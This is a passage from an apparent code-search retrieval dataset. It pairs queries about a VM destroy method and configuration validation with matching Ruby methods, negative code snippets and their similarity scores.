"0.79238683",
"0.77623445",
"0.7740055",
"0.7699208",
"0.76926553",
"0.7628574",
"0.7628574",
"0.7628574",
"0.7628574",
"0.7628574",
"0.75608",
"0.75608",
"0.75608",
"0.75608",
"0.75608",
"0.75608",
"0.75608",
"0.75608",
"0.7553405",
"0.7553405",
"0.75036484",
"0.75036484",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.7499158",
"0.74915236",
"0.74915236",
"0.74915236",
"0.74915236",
"0.74583703",
"0.74302524",
"0.7355415",
"0.7355415",
"0.7355415",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254",
"0.7346254"
] |
0.0
|
-1
|
The main destroy method
|
def destroy(state)
return if state[:vm_name].nil?
save_and_validate_parameters
connect
vm = get_vm(state[:vm_name])
vm_obj = Com::Vmware::Vcenter::VM.new(vapi_config)
# shut the machine down if it is running
if vm.power_state.value == "POWERED_ON"
power = Com::Vmware::Vcenter::Vm::Power.new(vapi_config)
power.stop(vm.vm)
end
# delete the vm
vm_obj.delete(vm.vm)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy!; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n\t\t\n\tend",
"def destroy; delete end",
"def destroy\r\n end",
"def destroy\r\n end",
"def destroy\r\n end",
"def destroy\n\t\trun_callbacks(:destroy) { delete } \n\tend",
"def destroy \r\n\r\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n nil\n end",
"def destroy\n kill\n reset\n end",
"def destroy\r\n\r\n end",
"def destroy\n\t\tend",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def destroy\n puts(\"Tacos are indestructible\")\n end",
"def cleanup\r\n end",
"def destroy\n end",
"def destroy\n\n end",
"def destroy\n\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup!; end",
"def cleanup!; end",
"def destroy \n \n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def destroy!\n orchio_purge\n end",
"def destroy\r\n\tend",
"def terminate\n self.destroy\n end",
"def destroy\n\n\tend",
"def destroy\n\n\tend",
"def destroy\n\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def destroy\n\tend",
"def destroy\n\tend",
"def destroy\n\tend",
"def destroy\n Process.kill(9, pid)\n end",
"def destroy!\n self.destroy\n end",
"def destroy\n self.delete_\n end",
"def destroy\r\n do_without_exception(:destroy!)\r\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end"
] |
[
"0.8235823",
"0.81599665",
"0.81599665",
"0.81599665",
"0.81599665",
"0.81599665",
"0.81599665",
"0.81599665",
"0.81599665",
"0.81599665",
"0.81599665",
"0.8077508",
"0.8077508",
"0.79740614",
"0.782718",
"0.77600205",
"0.77600205",
"0.7726063",
"0.7673139",
"0.76314557",
"0.761126",
"0.761126",
"0.761126",
"0.761126",
"0.761126",
"0.757626",
"0.75751877",
"0.7572082",
"0.75620604",
"0.75278276",
"0.75278276",
"0.75278276",
"0.75278276",
"0.7519861",
"0.75046575",
"0.75036323",
"0.74844146",
"0.74844146",
"0.7483393",
"0.7483393",
"0.74679595",
"0.74679595",
"0.7467312",
"0.7433292",
"0.7433292",
"0.7433292",
"0.7433292",
"0.7432752",
"0.74063075",
"0.7398566",
"0.73778164",
"0.73778164",
"0.73634577",
"0.7355618",
"0.7355618",
"0.7355618",
"0.7352151",
"0.7352151",
"0.7352151",
"0.7326122",
"0.7294308",
"0.72841734",
"0.7281212",
"0.7263609",
"0.7263609",
"0.7263609",
"0.7263609",
"0.7263609",
"0.7263609",
"0.72621",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248",
"0.7259248"
] |
0.0
|
-1
|
Helper method for storing and validating configuration parameters
|
def save_and_validate_parameters
# Configure the hash for use when connecting for cloning a machine
@connection_options = {
user: config[:vcenter_username],
password: config[:vcenter_password],
insecure: config[:vcenter_disable_ssl_verify] ? true : false,
host: config[:vcenter_host],
rev: config[:clone_type] == "instant" ? "6.7" : nil,
}
# If the vm_name has not been set then set it now based on the suite, platform and a random number
if config[:vm_name].nil?
config[:vm_name] = format("%s-%s-%s", instance.suite.name, instance.platform.name, SecureRandom.hex(4))
end
raise format("Cannot specify both cluster and resource_pool") if !config[:cluster].nil? && !config[:resource_pool].nil?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_config(config)\r\n raise TransactionSupportError, \"Parameter 'key1' is required\" if config.key1.blank?\r\n raise TransactionSupportError, \"Parameter 'key2' is required\" if config.key2.blank?\r\n raise TransactionSupportError, \"Parameter 'pos_id' is required\" if config.pos_id.nil? || config.pos_id.to_a.empty?\r\n raise TransactionSupportError, \"Parameter 'pos_auth_key' is required\" if config.pos_auth_key.blank?\r\n raise TransactionSupportError, \"Unrecognized encoding '#{config.encoding}' valid encoding values: #{ENCODINGS.inspect}\" if config.encoding && !ENCODINGS.include?(config.encoding)\r\n end",
"def config_params\n params.require(:config).permit(:key, :value)\n end",
"def validate_config\n %w(api_token_secret_key account_alias recipe server groups).each {|key|\n raise_config_error(\"Invalid or empty #{key}\") if is_error? key, config_value(key)\n }\n end",
"def configuration_params\n params.require(:configuration).permit(:name, :value)\n end",
"def read_and_validate_params\n if @name_args.length < 1\n show_usage\n exit 1\n end\n\n if config[:hostname].nil? ||\n config[:username].nil? ||\n config[:flavor].nil? ||\n config[:password].nil? ||\n config[:main_network_adapter].nil?\n show_usage\n exit 1\n end\n\n if config[:guest_dhcp].eql? false\n if config[:guest_ip].nil? ||\n config[:guest_gateway].nil? ||\n config[:guest_netmask].nil? ||\n config[:guest_nameserver].nil?\n ui.fatal \"When using a static IP, you must specify the IP, Gateway, Netmask, and Nameserver\"\n exit 1\n end\n end\n\n end",
"def validate_config!\n raise NotImplementedError, \"Implement #{__callee__} in #{self.class.to_s}\"\n end",
"def validate_settings\n end",
"def validate\n unless valid?\n n = @cfg.name.inspect\n v = @value.inspect\n raise(ArgumentError, \"Arg #{n}'s value (#{v}) does not validate.\")\n end\n end",
"def validate_options\n required_keys = %w(endpoint user password\n container_name agent ntp blobstore)\n missing_keys = []\n required_keys.each do |key|\n unless @options.has_key?(key)\n missing_keys << key\n end\n end\n message = \"Missing configuration parameters: #{missing_keys}\"\n raise ArgumentError, message unless missing_keys.empty?\n end",
"def verify_config(opts)\n opts = check_params(opts,[:instance_format,:data])\n super(opts)\n end",
"def validate_config!\n valid = false\n begin\n names_to_ids # Force re-evaluation of ids\n valid = (!image_id.nil? && !flavor_id.nil? && !kernel_id.nil? && !data_center_id.nil?)\n rescue Exception => e\n add_error(e.message)\n end\n valid\n end",
"def load_config\n if params[:config].given?\n @config = File.open(File.expand_path(params[:config].value)) { |f| JSON.load(f) }\n\n @config.each do |key, value|\n if params.has_key?(key) and params[key].values == params[key].defaults\n params[key].values = [*value]\n params[key].given = true\n end\n end\n\n end\n end",
"def configuration_params\n params.require(:configuration).permit(:name, :algorithm_id, :parameters)\n end",
"def validate_options\n required_keys = {\n # 'azure' => %w(cert_path subscription_id region default_key_name logical_name),\n 'azure' => %w(),\n 'registry' => []\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if !options.has_key?(key) || !options[key].has_key?(value)\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n end",
"def validateParameters(params)\n if (!params.has_key?('imageDirectory')) then raise 'No image directory parameter found.' else params['imageDirectory'] = params['imageDirectory'].chomp('/') end\n if (!params.has_key?('metadataServerURL')) then raise 'No metadata server parameter found.' end\n if (!params.has_key?('publishServerURL')) then raise 'No publish server parameter found.' end\n if (!File.directory?(params['imageDirectory'])) then raise 'Image directory parameter \"'+params['imageDirectory']+'\" is not a directory.' end\n if (!File.readable?(params['imageDirectory'])) then raise 'Image directory parameter \"'+params['imageDirectory']+'\" is not readable.' end\n if (!File.writable?(params['imageDirectory'])) then raise 'Image directory parameter \"'+params['imageDirectory']+'\" is not writable.' end\n if (params.has_key?('mapID'))\n if (!params['mapID'].is_int?) then raise 'Map ID is not an integer.' else params['mapID'] = params['mapID'].to_i end\n end\n if (params.has_key?('sleepDelay'))\n if (!params['sleepDelay'].is_int?) then raise 'Sleep delay is not an integer.' else params['sleepDelay'] = params['sleepDelay'].to_i end\n end\n params['metadataServerURL'] = URI.parse(params['metadataServerURL'])\n\n # At this point, everything should be validated and correct\n params\n end",
"def validate_config!\n valid = false\n begin\n names_to_ids # Force re-evaluation of ids\n valid = (!image_id.nil? && !flavor_id.nil? && !region_id.nil?)\n rescue Excon::Errors::Unauthorized => e\n add_error \"Invalid credentials\"\n end\n valid\n end",
"def save_and_validate_parameters\n # Configure the hash for use when connecting for cloning a machine\n @connection_options = {\n user: config[:vcenter_username],\n password: config[:vcenter_password],\n insecure: config[:vcenter_disable_ssl_verify] ? true : false,\n host: config[:vcenter_host],\n rev: config[:clone_type] == \"instant\" ? \"6.7\" : nil,\n }\n\n # If the vm_name has not been set then set it now based on the suite, platform and a random number\n if config[:vm_name].nil?\n config[:vm_name] = format(\"%s-%s-%s\", instance.suite.name, instance.platform.name, SecureRandom.hex(4))\n end\n\n # See details in function get_resource_pool for more details\n # if config[:cluster].nil? && config[:resource_pool].nil?\n # warn(\"It is recommended to specify cluster and/or resource_pool to avoid unpredictable machine placement on large deployments\")\n # end\n\n # Process deprecated parameters\n config[:active_discovery] = config[:aggressive_mode] unless config[:aggressive_mode].nil?\n config[:vm_os] = config[:aggressive_os] unless config[:aggressive_os].nil?\n config[:vm_username] = config[:aggressive_username] unless config[:aggressive_username].nil?\n config[:vm_password] = config[:aggressive_password] unless config[:aggressive_password].nil?\n config[:vm_customization] = config[:customize] unless config[:customize].nil?\n validate_network_parameters\n end",
"def read_and_validate_params\n if @name_args.length < 1\n show_usage\n exit 1\n end\n\n if config[:name].nil? ||\n config[:vios].nil? ||\n config[:virtual_server].nil? ||\n config[:disk_name].nil?\n show_usage\n exit 1\n end\n\n if config[:profile].nil?\n config[:profile] = config[:name]\n end\n end",
"def validate_options\n required_keys = {\n \"aws\" => [\"default_key_name\", \"max_retries\"],\n \"registry\" => [\"endpoint\", \"user\", \"password\"],\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if (!options.has_key?(key) || !options[key].has_key?(value))\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n\n if !options['aws'].has_key?('region') && ! (options['aws'].has_key?('ec2_endpoint') && options['aws'].has_key?('elb_endpoint'))\n raise ArgumentError, \"missing configuration parameters > aws:region, or aws:ec2_endpoint and aws:elb_endpoint\"\n end\n end",
"def validate_options\n required_keys = {\n \"aws\" => [\"default_key_name\", \"max_retries\"],\n \"registry\" => [\"endpoint\", \"user\", \"password\"],\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if (!options.has_key?(key) || !options[key].has_key?(value))\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n\n if !options['aws'].has_key?('region') && ! (options['aws'].has_key?('ec2_endpoint') && options['aws'].has_key?('elb_endpoint'))\n raise ArgumentError, \"missing configuration parameters > aws:region, or aws:ec2_endpoint and aws:elb_endpoint\"\n end\n end",
"def put_config(opts)\n opts = check_params(opts,[:instance_format,:data])\n super(opts)\n end",
"def checkparm(configKey,description)\n # Check if the [configKey] is set\n if config[configKey].nil?\n # No, so tell the user a bit about what it does, why its needed, what to do etc.\n puts ui.color(\" #{configKey} is not set\", :red)\n puts ui.color(\" #{description}\", :magenta)\n else\n # Yes, so display it\n puts ui.color(\" #{configKey} is set to '#{config[configKey]}'\",:green)\n end \n end",
"def validate_config\n # if @cfg.keys != [:user]\n unless @cfg.has_key?( :user )\n raise TaskConfigError.new \"Top level keys needs to contain 'user'\"\n end\n if (@cfg[:user].keys <=> [:collections, :works]) < 1\n raise TaskConfigError.new \"user can only contain collections and works\"\n end\n end",
"def config_set_value_params\n params.require(:config_set_value).permit(:key, :value, :status, :data_type, :config_set_id, :organization_id, :deleted_at, :expired_at)\n end",
"def check_configuration_options\r\n if ($project_name == \"\")\r\n\t raise 'Project name must be set' \r\n\tend\r\n\tif ($repo_key == \"\")\r\n raise 'Repository is required'\r\n end\r\n\tif ($target_repo_key == \"\")\r\n raise 'Target repository is required'\r\n\tend\r\n\tif ($username == \"\")\r\n raise 'Codeporting username must be provided'\r\n\tend\r\n\tif ($password == \"\")\r\n raise 'Codeporting password must be provided'\r\n\tend\r\n end",
"def config_params\n params.require(:app_config).permit(:name, :value)\n end",
"def validate\n strict_attrs = ['basedir', 'lib_path', 'types', 'creeps', 'log_dir', 'log_level']\n error = false\n unless strict_attrs.all?{|a| @configuration[a]}\n STDERR.puts \"Configuration file is invalid! Pls. define #{strict_attrs.find{|a| !@configuration[a]}.inspect} keys in it\"\n exit(1)\n end\n if @configuration['types'].length == 0\n STDERR.puts \"Configuration file is invalid! Pls. define at least one colony type in types section\"\n exit(1)\n end\n if @configuration['creeps'].length == 0\n STDERR.puts \"Configuration file is invalid! Pls. define at least one creep type in creeps section\"\n exit(1)\n end \n end",
"def config_params\n return_params = {}\n\n return_params[:limit] = hearings_count_limit if hearings_count_limit.present?\n return_params[:after] = scheduled_after_time if scheduled_after_time.present?\n return_params[:include_eastern] = include_eastern if include_eastern.present?\n return_params\n end",
"def config_element_params\n params.require(:config_element).permit(:key, :value)\n end",
"def configure(conf)\n super\n\n raise ConfigError, \"'Fields' is required\" if self.fields.nil?\n\n self.fields = self.fields.split(',')\n\n raise ConfigError, \"'Fields' must contain at least one key\" if self.fields.length < 1\n end",
"def validate_value(config, allowed_values)\n value = instance_variable_get(\"@#{config}\")\n\n return unless invalid_value?(value, allowed_values)\n\n message = \"Configuration value `#{value}` is not allowed for `#{config}`.\"\n raise ConfigurationError, message\n end",
"def validate_config(triples)\n triples.each do |triple|\n use, name, value = triple\n raise ArgumentError, \"#{use.to_s.capitalize} strategy #{name} do not have a value\" if value.nil?\n end\n end",
"def validate(hash_to_validate)\n unless hash_to_validate\n @log.error 'Config file is empty!'\n @errors_count += 1\n end\n # validate if basic configuration parameters are present or not\n ANKUS_CONF_MAIN_KEYS.each do |key|\n unless hash_to_validate.include?(key)\n @log.error \"Required key: '#{key}' is not present in the configuration file\"\n @errors_count += 1\n end\n end\n # validate install_mode, it can be 'local|cloud' modes\n case @parsed_hash[:install_mode]\n when 'local'\n local_validator hash_to_validate\n when 'cloud'\n cloud_validator hash_to_validate\n when nil\n @log.error \"Property 'install_mode' cannot be empty\"\n @errors_count += 1 \n else\n @log.error 'Not supported install mode, supported modes: local|cloud'\n end\n end",
"def set_config(config)\n @config = config\n validate_config\n end",
"def method_missing(key, *args)\n return super unless CONFIG_SCHEMA.key?(key)\n raise(\n ConfigValidationError,\n \"#{key} is incorrectly defined\"\n ) if CONFIG_SCHEMA[key].class != args.first.class\n end",
"def configuration_key_params\n params.require(:configuration_key).permit(:key, :value, :description, :section)\n end",
"def configure_with(params)\r\n\r\n\t\tend",
"def configure validate: true\n yield configuration\n configuration.validate! if validate\n configuration\n end",
"def conf\n return @validated_config if defined? @validated_config\n\n if !config[:playbook]\n raise 'No playbook defined. Please specify one in .kitchen.yml'\n end\n\n if !File.exist?(config[:playbook])\n raise \"playbook '%s' could not be found. Please check path\" % config[:playbook]\n end\n\n if config[:vault_password_file] and !File.exist?(config[:vault_password_file])\n raise \"Vault password '%s' could not be found. Please check path\" % config[:vault_password_file]\n end\n\n # Validate that extra_vars is either a hash, or a path to an existing file\n if config[:extra_vars]\n extra_vars_is_valid = config[:extra_vars].kind_of?(Hash) || config[:extra_vars].kind_of?(String)\n if config[:extra_vars].kind_of?(String)\n # Accept the usage of '@' (e.g. '@vars.yml' and 'vars.yml' are both supported)\n match_data = /^@?(.+)$/.match(config[:extra_vars])\n extra_vars_path = match_data[1].to_s\n expanded_path = Pathname.new(extra_vars_path).expand_path(Dir.pwd)\n extra_vars_is_valid = expanded_path.exist?\n if extra_vars_is_valid\n @extra_vars = '@' + extra_vars_path\n end\n end\n if !extra_vars_is_valid\n raise \"ansible extra_vars is in valid type: %s value: %s\" % [config[:extra_vars].class.to_s, config[:extra_vars].to_s]\n end\n end\n \n info(\"Ansible push config validated\")\n \n @validated_config = config\n end",
"def validate_params\n\n categories.each() do |key, value|\n throw RuntimeError.new(\"ERROR: category '#{key}' contains more than #{maximum_numbers_per_category} parameters. Reduce parameter count.\") if value.size >maximum_numbers_per_category\n end\n\n keys=[]\n numbers=[]\n # slicer contains parameter with number 0... therefore valid parameter numbers starts at 0\n valid_param_numbers=SetupConfiguration.parameter_range()\n\n self.parameters().each() do |p|\n\n $stderr.puts \"WARNING: parameter number 404 is reserved for machine type. you are using it for '#{p.key}'.\" if p.number.eql?(404)\n throw RuntimeError.new(\"ERROR: parameter number '#{p.number}' not supported. Number must be in range #{valid_param_numbers}.\") unless valid_param_numbers.member?(p.number)\n\n if p.param?\n if keys.include? p.key\n raise RuntimeError.new(\"ERROR: parameter key '#{p.key}' defined more than once\")\n else\n keys << p.key\n end\n\n\n if numbers.include? p.number\n raise RuntimeError.new(\"ERROR: parameter number '#{p.number}' defined more than once\")\n else\n numbers << p.number\n end\n else\n assign_param_ref(p)\n end#p.param?\n\n end\n #force fresh sort of parameters\n @parameters = nil\n end",
"def config_from_hash(data = {})\n data.each do |param, value|\n if Pkg::Params::BUILD_PARAMS.include?(param.to_sym)\n self.instance_variable_set(\"@#{param}\", value)\n else\n warn \"Warning - No build data parameter found for '#{param}'. Perhaps you have an erroneous entry in your yaml file?\"\n end\n end\n end",
"def config(value,options)\n\n end",
"def config(value,options)\n\n end",
"def site_config_params\r\n params.require(:site_config).permit(:key, :display_name, :value_type, :value_s, :value_b)\r\n end",
"def config_store; end",
"def parametrize #alias\n self.configuration\n end",
"def validate_config!\n StrictTransportSecurity.validate_config!(hsts)\n ContentSecurityPolicy.validate_config!(csp)\n XFrameOptions.validate_config!(x_frame_options)\n XContentTypeOptions.validate_config!(x_content_type_options)\n XXssProtection.validate_config!(x_xss_protection)\n XDownloadOptions.validate_config!(x_download_options)\n XPermittedCrossDomainPolicies.validate_config!(x_permitted_cross_domain_policies)\n PublicKeyPins.validate_config!(hpkp)\n end",
"def validate_parameters params = {}\n params.symbolize_keys!\n params.delete(:db) unless DBS.include?(params[:db].try(:to_sym))\n params.delete(:report_type) unless REPORT_TYPES.include?(params[:report_type].try(:to_sym))\n params.delete(:request_type) unless REQUEST_TYPES.include?(params[:request_type].try(:to_sym))\n @parameters = {:db => \"us\", :api_key => Semrush.api_key, :limit => \"\", :offset => \"\", :export_columns => \"\", :display_sort => \"\", :display_filter => \"\", :display_date => \"\"}.merge(@parameters).merge(params)\n raise Semrush::Exception::Nolimit.new(self, \"The limit parameter is missing: a limit is required.\") unless @parameters[:limit].present? && @parameters[:limit].to_i>0\n raise Semrush::Exception::BadArgument.new(self, \"Request parameter is missing: Domain name, URL, or keywords are required.\") unless @parameters[:request].present?\n raise Semrush::Exception::BadArgument.new(self, \"Bad db: #{@parameters[:db]}\") unless DBS.include?(@parameters[:db].try(:to_sym))\n raise Semrush::Exception::BadArgument.new(self, \"Bad report type: #{@parameters[:report_type]}\") unless REPORT_TYPES.include?(@parameters[:report_type].try(:to_sym))\n raise Semrush::Exception::BadArgument.new(self, \"Bad request type: #{@parameters[:request_type]}\") unless REQUEST_TYPES.include?(@parameters[:request_type].try(:to_sym))\n end",
"def define_parameter(params)\n @properties[:parameters] = Hashie::Mash.new unless @properties.key?(:parameters)\n if params.kind_of? Hash\n @properties[:parameters].merge!(params)\n else\n error \"Cannot define parameter for app '#{self.name}'! Parameter \"+\n \"not passed as a Hash ('#{params.inspect}')\"\n end\n end",
"def define_parameter(params)\n @properties[:parameters] = Hashie::Mash.new unless @properties.key?(:parameters)\n if params.kind_of? Hash\n @properties[:parameters].merge!(params)\n else\n error \"Cannot define parameter for app '#{self.name}'! Parameter \"+\n \"not passed as a Hash ('#{params.inspect}')\"\n end\n end",
"def validate_loadtest_parameters\n errors = validate_common_parameters\n\n # Work\n @customer_id = get_int_field('customer_id')\n @test_list = get_field('command_string', '')\n @comparison_history = get_int_field('comparison_history', DEFAULT_COMPARISON_HISTORY)\n @report_mailing_list = get_field('report_mailing_list', [])\n\n errors << 'Customer ID not specified' unless @customer_id > 0\n errors << 'No tests specified' if @test_list.empty?\n errors << \"Comparison History must be between 0 and #{MAX_COMPARISON_HISTORY}\" if @comparison_history < 0 || @comparison_history > MAX_COMPARISON_HISTORY\n\n if !errors.empty?\n raise ConfigError, \"Configuration errors: #{errors.join(', ')}\"\n end\n end",
"def valid_params?; end",
"def configuration_params\n params.require(:configuration).permit(:name, :config_status, :site_id, :user_id, :camera_id, :zone_id, :slotconfiguration, :roihomo)\n end",
"def sanitise_conf(conf)\n conf[:username] ||= 'admin'\n conf[:password] ||= 'admin'\n conf[:protocol] ||= 'http'\n conf[:host] ||= 'localhost'\n conf[:port] ||= 4502\n conf[:timeout] ||= 300\n # handle custom configuration value being passed as a String\n # e.g. when the values are passed via environment variables\n conf[:port] = conf[:port].to_i\n conf[:timeout] = conf[:timeout].to_i\n conf[:verify_ssl] = conf[:verify_ssl] == 'true' if conf[:verify_ssl].is_a? String\n conf[:debug] = conf[:debug] == 'true' if conf[:debug].is_a? String\n end",
"def configuration_from_options(options); end",
"def validate_configuration(configuration)\n raise \"Need to have a Person to say goodbye to.\" unless configuration.include?(:person)\n end",
"def configure validate: true, &block\n configuration.tap(&block)\n configuration.validate!(context: self) if validate\n end",
"def system_config_params\n params.require(:system_config).permit(:name, :value, :description)\n end",
"def validate_params\n assert_provided env, 'Missing \"env\"'\n assert_provided action, 'Missing \"action\"'\n\n case action\n when 'import'\n assert_provided path, 'Missing \"path\"'\n\n when 'export'\n assert_provided path, 'Missing \"path\"'\n\n end\n\n assert_env_is_configured env\n end",
"def validate_params\n assert_provided env, 'Missing \"env\"'\n assert_provided action, 'Missing \"action\"'\n\n case action\n when 'import'\n assert_provided path, 'Missing \"path\"'\n\n when 'export'\n assert_provided path, 'Missing \"path\"'\n\n when 'read'\n assert_provided name, 'Missing \"name\"'\n\n when 'rename'\n assert_provided name, 'Missing \"name\"'\n assert_provided to, 'Missing \"to\"'\n\n end\n\n assert_env_is_configured env\n end",
"def docker_cfg_params\n params.require(:docker_cfg).permit(:url, :auth, :email)\n end",
"def validate_parameters\n check_for_valid_filepath if (@repository.parameters[:file])\n\n check_number_of_parameters(:coord, 2)\n check_number_of_parameters(:delta, 2)\n check_number_of_parameters(:time, 2)\n check_number_of_parameters(:range, 2)\n check_number_of_parameters(:section, 2)\n end",
"def validate_config\n verify_config_provided(options)\n setup_logger(options)\n extend_load_path(options[:load_path])\n\n exit Longleaf::ValidateConfigCommand.new(options[:config]).execute\n end",
"def check_config_data(config)\n assert_equal(:CLIENTLOGIN, config.read('authentication.method'))\n assert_equal('ruby_test_suit',\n config.read('authentication.application_name'))\n assert_equal('mySecretPassword', config.read('authentication.password'))\n assert_equal('root@example.com', config.read('authentication.email'))\n assert_equal(1234567, config.read('authentication.network_code'))\n assert_equal(:SANDBOX, config.read('service.environment'))\n assert_nil(config.read('item.not.exists'))\n assert_equal(:default, config.read('item.not.exists', :default))\n end",
"def config=(value); end",
"def validate_configuration config, type=:config\n ## Check the config file is a Hash whose keys are ordered numbers starting in one and sub-hashes' values are strings or numbers\n raise ConfError, \"Configuration file is not a Hash.\" if not config.is_a? Hash\n\n runs = config.keys\n raise ConfError, \"Configuration options must be grouped by run numbers.\" if not runs.all? {|run| run.is_a? Integer}\n\n if type.eql? :config\n current = 1\n runs.each do |run|\n raise ConfError, \"Run numbers in configuration file must start at 1 and increase without skipping numbers.\" if not run.eql? current\n current += 1\n end\n end\n\n config.each do |run, options|\n options.each do |key, value|\n raise ConfError, \"#{RESULTS_FILE_KEY} option missing.\" if type.eql? :results and not options.include? RESULTS_FILE_KEY\n case type\n when :config\n if not (value.is_a? String or value.is_a? Numeric)\n raise ConfError, \"Options in configuration file have to be strings or numbers, but the value of #{key} in run #{run} is #{value}.\"\n end\n if value.is_a? String and value[0].eql? CONFIG_MARKER\n if key.eql? \"seqfile\" or key.eql? \"treefile\"\n raise ConfError, \"Missing glob after = in #{key} in run #{run}\" if value.length.eql? 1\n\n @dirs.each do |dir|\n results = Dir.glob(\"#{dir}/#{value[1..-1]}\")\n if results.none?\n raise ConfError, \"Could not find file #{dir}/#{value[1..-1]}.\"\n elsif not results.one?\n raise ConfError, \"Found more than one file with #{dir}/#{value[1..-1]}.\"\n end\n end\n\n else\n raise ConfError, \"Option #{key}:#{value} in run #{run} is missing a #{CONFIG_SEPARATOR} character.\" if value.count(\"|\").eql? 0\n raise ConfError, \"Option #{key}:#{value} in run #{run} has too many '#{CONFIG_SEPARATOR}' characters.\" if value.count(\"|\") > 2\n source_run, detect, extract = value[1..-1].split(CONFIG_SEPARATOR)\n raise ConfError, \"Option #{key}:#{value} in run #{run} specifies no run to extract from.\" if source_run.empty?\n #puts \"source_run: #{source_run}, run: #{run}\"\n raise ConfError, \"Option #{key}:#{value} in run #{run} asks to extract a result from run #{source_run}.\" if source_run.to_i >= run\n raise ConfError, \"Option #{key}:#{value} in run #{run} has an empty detection part.\" if detect.empty?\n end\n end\n when :results\n raise ConfError if not RESULTS_VALID_OPTIONS.include? key\n if key.eql? RESULTS_FILE_KEY\n raise ConfError, \"Value in #{RESULTS_FILE_KEY} can not be blank\" if value.empty?\n else\n if not (value.is_a? TrueClass or value.is_a? FalseClass)\n puts \"value.class: #{value.class}, value: #{value}\"\n raise ConfError, \"Values in the configuration file can be only 'true' or 'false', but the value of #{key} in run #{run} is #{value}.\"\n end\n end\n end\n end\n end\nend",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def check_params; true; end",
"def cfg_params\n params.require(:cfg).permit(:sale_tel, :email, :company_name, :address, :content)\n end",
"def config_params\n params.require(:config).permit(:sitename, :google_analytics, :google_analytics_counter_id, :scripts,\n :yandex_verification, :google_site_verification)\n end",
"def parse_config(config); end",
"def validate\n assert(\"Configuration must be a hash, but a #{@config.class} was provided\", @config.class == Hash)\n assert(\"Configuration must contain a root '#{AF::LOCATIONS}' key\", @config.key?(AF::LOCATIONS))\n locations = @config[AF::LOCATIONS]\n assert(\"'#{AF::LOCATIONS}' must be a hash of locations\", locations.class == Hash)\n\n locations.each do |name, properties|\n register_on_failure do\n assert(\"Name of storage location must be a string, but was of type #{name.class}\", name.instance_of?(String))\n assert(\"Storage location '#{name}' must be a hash, but a #{properties.class} was provided\", properties.is_a?(Hash))\n\n register_on_failure { assert_path_property_valid(name, AF::LOCATION_PATH, properties, 'location') }\n\n assert(\"Metadata location must be present for location '#{name}'\", properties.key?(AF::METADATA_CONFIG))\n assert_path_property_valid(name, AF::LOCATION_PATH, properties[AF::METADATA_CONFIG], 'metadata')\n end\n end\n\n @result\n end",
"def valid_params?(params)\n params.keys.each do |key|\n unless RealPush::API::App.params_accept.include? key.to_sym\n raise ConfigurationError, \"Invalid parameter! ( #{RealPush::API::App.params_accept.join(', ')} )\"\n end\n end\n true\n end",
